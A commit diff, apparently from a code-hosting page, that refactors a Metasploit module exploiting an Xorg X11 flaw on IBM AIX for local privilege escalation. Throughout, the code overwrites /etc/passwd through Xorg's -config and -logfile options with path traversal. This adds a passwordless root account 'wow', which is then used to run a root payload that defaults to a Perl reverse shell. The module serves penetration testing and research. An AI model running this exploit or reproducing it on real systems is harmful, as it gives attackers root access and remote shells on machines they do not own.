refactor version check, reduce verbosity
This commit is contained in:
parent
92063560eb
commit
5fde493add
|
@ -4,16 +4,14 @@
|
||||||
##
|
##
|
||||||
|
|
||||||
class MetasploitModule < Msf::Exploit::Local
|
class MetasploitModule < Msf::Exploit::Local
|
||||||
Rank = GoodRanking
|
Rank = GreatRanking
|
||||||
|
|
||||||
include Msf::Post::File
|
include Msf::Post::File
|
||||||
include Msf::Post::Linux::Priv
|
|
||||||
include Msf::Exploit::FileDropper
|
include Msf::Exploit::FileDropper
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Xorg X11 Server Local Privilege Escalation',
|
'Name' => 'Xorg X11 Server Local Privilege Escalation',
|
||||||
# TODO: Finish description
|
|
||||||
'Description' => %q(
|
'Description' => %q(
|
||||||
This module is a port of the OpenBSD X11 Xorg exploit to run on AIX.
|
This module is a port of the OpenBSD X11 Xorg exploit to run on AIX.
|
||||||
|
|
||||||
|
@ -22,8 +20,8 @@ class MetasploitModule < Msf::Exploit::Local
|
||||||
the ability to elevate privileges and run arbitrary code under root
|
the ability to elevate privileges and run arbitrary code under root
|
||||||
privileges.
|
privileges.
|
||||||
|
|
||||||
This module has been tested with AIX 7.1, however it should also work with 6.1 and 7.2.
|
This module has been tested with AIX 7.1 and 7.2, and should also work with 6.1.
|
||||||
Due to permission restrictions, this module does not use cron to launch the payload,
|
Due to permission restrictions of the crontab in AIX, this module does not use cron,
|
||||||
and instead overwrites /etc/passwd in order to create a new user with root privileges.
|
and instead overwrites /etc/passwd in order to create a new user with root privileges.
|
||||||
All currently logged in users need to be included when /etc/passwd is overwritten,
|
All currently logged in users need to be included when /etc/passwd is overwritten,
|
||||||
else AIX will throw 'Cannot get "LOGNAME" variable' when attempting to change user.
|
else AIX will throw 'Cannot get "LOGNAME" variable' when attempting to change user.
|
||||||
|
@ -33,7 +31,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||||
),
|
),
|
||||||
'Author' => [
|
'Author' => [
|
||||||
'Narendra Shinde', # Discovery and original FreeBSD exploit
|
'Narendra Shinde', # Discovery and original FreeBSD exploit
|
||||||
'Zack Flack <dzflack[at]gmail.com>' # Metasploit module
|
'Zack Flack <dzflack[at]gmail.com>' # Metasploit module and original AIX exploit
|
||||||
],
|
],
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'DisclosureDate' => 'Oct 25 2018',
|
'DisclosureDate' => 'Oct 25 2018',
|
||||||
|
@ -48,13 +46,13 @@ class MetasploitModule < Msf::Exploit::Local
|
||||||
'Arch' => [ ARCH_CMD ],
|
'Arch' => [ ARCH_CMD ],
|
||||||
'SessionTypes' => [ 'shell' ],
|
'SessionTypes' => [ 'shell' ],
|
||||||
'Payload' => {
|
'Payload' => {
|
||||||
'Compat' => {
|
'Compat' => {
|
||||||
'PayloadType' => 'cmd',
|
'PayloadType' => 'cmd',
|
||||||
'RequiredCmd' => 'perl',
|
'RequiredCmd' => 'perl',
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
'DefaultOptions' => {
|
'DefaultOptions' => {
|
||||||
'Payload' => 'cmd/unix/reverse_perl'
|
'Payload' => 'cmd/unix/reverse_perl'
|
||||||
},
|
},
|
||||||
'Targets' => [
|
'Targets' => [
|
||||||
['IBM AIX Version 6.1', {}],
|
['IBM AIX Version 6.1', {}],
|
||||||
|
@ -72,24 +70,19 @@ class MetasploitModule < Msf::Exploit::Local
|
||||||
end
|
end
|
||||||
|
|
||||||
def check
|
def check
|
||||||
print_status('Running checks')
|
|
||||||
|
|
||||||
xorg_path = cmd_exec('command -v Xorg')
|
xorg_path = cmd_exec('command -v Xorg')
|
||||||
unless xorg_path.include?('Xorg')
|
unless xorg_path.include?('Xorg')
|
||||||
print_error('Could not find Xorg executable')
|
print_error('Could not find Xorg executable')
|
||||||
return Exploit::CheckCode::Safe
|
return Exploit::CheckCode::Safe
|
||||||
end
|
end
|
||||||
print_good("Xorg found at #{xorg_path}")
|
|
||||||
|
|
||||||
ksh93_path = cmd_exec('command -v ksh93')
|
ksh93_path = cmd_exec('command -v ksh93')
|
||||||
unless ksh93_path.include?('ksh')
|
unless ksh93_path.include?('ksh')
|
||||||
print_error('Could not find Ksh93 executable')
|
print_error('Could not find Ksh93 executable')
|
||||||
return Exploit::CheckCode::Safe
|
return Exploit::CheckCode::Safe
|
||||||
end
|
end
|
||||||
print_good("Ksh93 found at #{ksh93_path}")
|
|
||||||
|
|
||||||
fileset_version_vulnerable = determine_version()
|
unless xorg_vulnerable?
|
||||||
unless fileset_version_vulnerable
|
|
||||||
print_error('Xorg version is not vulnerable')
|
print_error('Xorg version is not vulnerable')
|
||||||
return Exploit::CheckCode::Safe
|
return Exploit::CheckCode::Safe
|
||||||
end
|
end
|
||||||
|
@ -98,80 +91,83 @@ class MetasploitModule < Msf::Exploit::Local
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
check_status = check
|
status = check
|
||||||
|
|
||||||
if check_status == Exploit::CheckCode::Safe
|
if status == Exploit::CheckCode::Safe
|
||||||
fail_with(Failure::NotVulnerable, 'Target not vulnerable')
|
fail_with(Failure::NotVulnerable, '')
|
||||||
|
end
|
||||||
|
|
||||||
|
unless writable?(datastore['WritableDir'])
|
||||||
|
fail_with(Failure::BadConfig, "#{datastore['WritableDir']} is not writable")
|
||||||
end
|
end
|
||||||
|
|
||||||
xorg_path = cmd_exec('command -v Xorg')
|
xorg_path = cmd_exec('command -v Xorg')
|
||||||
ksh93_path = cmd_exec('command -v ksh93')
|
ksh93_path = cmd_exec('command -v ksh93')
|
||||||
|
|
||||||
print_status('Opening /etc/passwd')
|
xorg_payload = generate_xorg_payload(xorg_path, ksh93_path)
|
||||||
passwd_array = read_file('/etc/passwd')
|
xorg_script_path = "#{datastore['WritableDir']}/wow.ksh"
|
||||||
passwd_array = passwd_array.split("\n")
|
upload_and_chmodx(xorg_script_path, xorg_payload)
|
||||||
|
|
||||||
print_status('Retrieving currently logged in users')
|
passwd_backup = "#{datastore['WritableDir']}/passwd.backup"
|
||||||
users = cmd_exec('who | cut -d\' \' -f1 | sort | uniq')
|
print_status("Backing up /etc/passwd to #{passwd_backup}")
|
||||||
users << "\n"
|
cmd_exec("cp /etc/passwd #{passwd_backup}")
|
||||||
users = users.split("\n")
|
register_file_for_cleanup("#{passwd_backup}")
|
||||||
|
|
||||||
print_status('Generating Xorg command')
|
|
||||||
|
|
||||||
unless users.empty?
|
|
||||||
users_logged_in_passwd = ''
|
|
||||||
users.each do |user|
|
|
||||||
user << ':'
|
|
||||||
passwd_array.each do |line|
|
|
||||||
if line.index(user) == 0
|
|
||||||
users_logged_in_passwd << '\n'
|
|
||||||
users_logged_in_passwd << line
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
# TODO: Systems where there has to be a password?? generate static password?
|
|
||||||
blob = "-config $\'#{users_logged_in_passwd}\\nwow::0:0::/:/usr/bin/ksh\\n#\'"
|
|
||||||
|
|
||||||
script_path = "#{datastore['WritableDir']}/wow.ksh"
|
|
||||||
# TODO: Has to be better way of doing a relative path for /etc/passwd?
|
|
||||||
xorg_payload = %Q^#!#{ksh93_path}
|
|
||||||
#{xorg_path} #{blob} -logfile ../../../../../../../../../etc/passwd :1 > /dev/null 2>&1
|
|
||||||
^
|
|
||||||
upload_and_chmodx(script_path, xorg_payload)
|
|
||||||
|
|
||||||
print_status("Backing up /etc/passwd to #{datastore['WritableDir']}/passwd.backup")
|
|
||||||
cmd_exec("cp /etc/passwd #{datastore['WritableDir']}/passwd.backup")
|
|
||||||
register_file_for_cleanup("#{datastore['WritableDir']}/passwd.backup")
|
|
||||||
|
|
||||||
print_status('Executing /tmp/wow.ksh')
|
|
||||||
cmd_exec("#{script_path}");
|
|
||||||
|
|
||||||
|
print_status("Executing #{xorg_script_path}")
|
||||||
|
cmd_exec("#{xorg_script_path}");
|
||||||
print_status('Checking if we are root')
|
print_status('Checking if we are root')
|
||||||
if is_root?
|
|
||||||
|
|
||||||
root_payload = %Q^#!#{ksh93_path}
|
if is_root?
|
||||||
|
shell_payload = %Q^#!#{ksh93_path}
|
||||||
#{payload.encoded}
|
#{payload.encoded}
|
||||||
^
|
^
|
||||||
payload_path = "#{datastore['WritableDir']}/wowee.ksh"
|
shell_script_path = "#{datastore['WritableDir']}/wowee.ksh"
|
||||||
upload_and_chmodx(payload_path, root_payload)
|
upload_and_chmodx(shell_script_path, shell_payload)
|
||||||
|
|
||||||
# TODO: Maybe add support for non perl payloads?
|
print_status('Executing shell payload')
|
||||||
print_status('Executing payload...')
|
cmd_exec("#{ksh93_path} -c \"echo #{shell_script_path} | su - wow &\"")
|
||||||
cmd_exec("#{ksh93_path} -c \"echo #{payload_path} | su - wow &\"")
|
|
||||||
|
|
||||||
print_status('Cleaning up /etc/passwd. Add user for persistance')
|
print_status('Restoring original /etc/passwd')
|
||||||
cmd_exec("su - wow -c \"cp /tmp/passwd.backup /etc/passwd\"")
|
cmd_exec("su - wow -c \"cp #{passwd_backup} /etc/passwd\"")
|
||||||
else
|
else
|
||||||
fail_with(Failure::PayloadFailed, '')
|
fail_with(Failure::PayloadFailed, '')
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def determine_version()
|
def generate_xorg_payload(xorg_path, ksh93_path)
|
||||||
xorg_version = cmd_exec("lslpp -L | grep -i X11.base.rte | awk '{ print $2 }'")
|
passwd_file = read_file('/etc/passwd')
|
||||||
print_status("Xorg version is #{xorg_version}")
|
passwd_array = passwd_file.split("\n")
|
||||||
xorg_semantic = Gem::Version.new(xorg_version)
|
|
||||||
|
print_status('Retrieving currently logged in users')
|
||||||
|
users = cmd_exec('who | cut -d\' \' -f1 | sort | uniq')
|
||||||
|
users << "\n"
|
||||||
|
users_array = users.split("\n")
|
||||||
|
|
||||||
|
logged_in_users = ''
|
||||||
|
unless users_array.empty?
|
||||||
|
users_array.each do |user|
|
||||||
|
user << ':'
|
||||||
|
passwd_array.each do |line|
|
||||||
|
if line.index(user) == 0
|
||||||
|
logged_in_users << '\n'
|
||||||
|
logged_in_users << line
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
passwd_data = "$'#{logged_in_users}\\nwow::0:0::/:/usr/bin/ksh\\n#'"
|
||||||
|
|
||||||
|
# TODO: Has to be better way of doing a relative path for /etc/passwd?
|
||||||
|
return %Q^#!#{ksh93_path}
|
||||||
|
#{xorg_path} -config #{passwd_data} -logfile ../../../../../../../../../../../../etc/passwd :1 > /dev/null 2>&1
|
||||||
|
^
|
||||||
|
end
|
||||||
|
|
||||||
|
def xorg_vulnerable?
|
||||||
|
version = cmd_exec('lslpp -L | grep -i X11.base.rte | awk \'{ print $2 }\'')
|
||||||
|
print_status("Xorg version is #{version}")
|
||||||
|
semantic_version = Gem::Version.new(version)
|
||||||
|
|
||||||
vulnerable_versions = [
|
vulnerable_versions = [
|
||||||
['6.1.9.0', '6.1.9.100'],
|
['6.1.9.0', '6.1.9.100'],
|
||||||
|
@ -184,8 +180,8 @@ class MetasploitModule < Msf::Exploit::Local
|
||||||
]
|
]
|
||||||
|
|
||||||
for version_pair in vulnerable_versions do
|
for version_pair in vulnerable_versions do
|
||||||
if xorg_semantic >= Gem::Version.new(version_pair[0]) &&
|
if semantic_version >= Gem::Version.new(version_pair[0]) &&
|
||||||
xorg_semantic <= Gem::Version.new(version_pair[1])
|
semantic_version <= Gem::Version.new(version_pair[1])
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -194,13 +190,9 @@ class MetasploitModule < Msf::Exploit::Local
|
||||||
end
|
end
|
||||||
|
|
||||||
def is_root?
|
def is_root?
|
||||||
id_output = cmd_exec('su wow -c "id"')
|
id_output = cmd_exec('su - wow -c "id"')
|
||||||
|
|
||||||
if id_output.include?("euid=0")
|
if id_output.include?('euid=0') || id_output.include?('uid=0')
|
||||||
print_good('Got root!')
|
|
||||||
return true
|
|
||||||
end
|
|
||||||
if id_output.include?('uid=0')
|
|
||||||
print_good('Got root!')
|
print_good('Got root!')
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue